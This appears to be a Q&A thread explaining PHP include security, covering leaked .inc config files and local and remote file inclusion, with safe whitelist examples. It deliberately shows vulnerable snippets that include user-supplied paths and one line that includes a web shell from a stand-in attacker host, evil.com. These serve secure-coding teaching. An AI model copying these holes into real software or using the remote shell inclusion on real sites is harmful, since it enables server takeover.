PHP - Is "include" function secure?

The biggest issue with includes is likely changing filename extension from PHP to something that doesn't get automatically executed by the web server. For example- library.inc, or config.inc. Invoking these files with a web browser will reveal the code instead of executing it - and any passwords or exploitable hints will be shown.

Compare config.php that might have a password in it with config.inc. Pulling up config.inc would in most cases show what the database password was.

There are programmers who use .inc extensions for libraries. The premise is that they won't be in a directory accessible by a web server. However, less security paranoid programmers might dump that file into a convenient web directory.

Otherwise, ensure that you don't include a file that's submitted by a query string somehow. Ex: include( $_GET['menu_file'] ) <-- this is very wrong.


It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.

Insecure (Directory Traversal)

<?php 
include($_GET['file']);
?>

Insecure (URL fopen - If enabled)

<?php 
include('http://evil.com/c99shell.php');
?>

Insecure

<?php 
include('./some_dir/' . $_GET['file']);
?>

Partially Insecure ( *.php files are vulnerable )

<?php 
include('./some_dir/' . $_GET['file'] . '.php');
?>

Secure (Though not sure why anyone would do this.)

<?php 
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);

if (in_array(basename($_GET['file']), $allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

Secure

<?php 
include('./includes/somefile.php');
?>

Tags:

Php

Include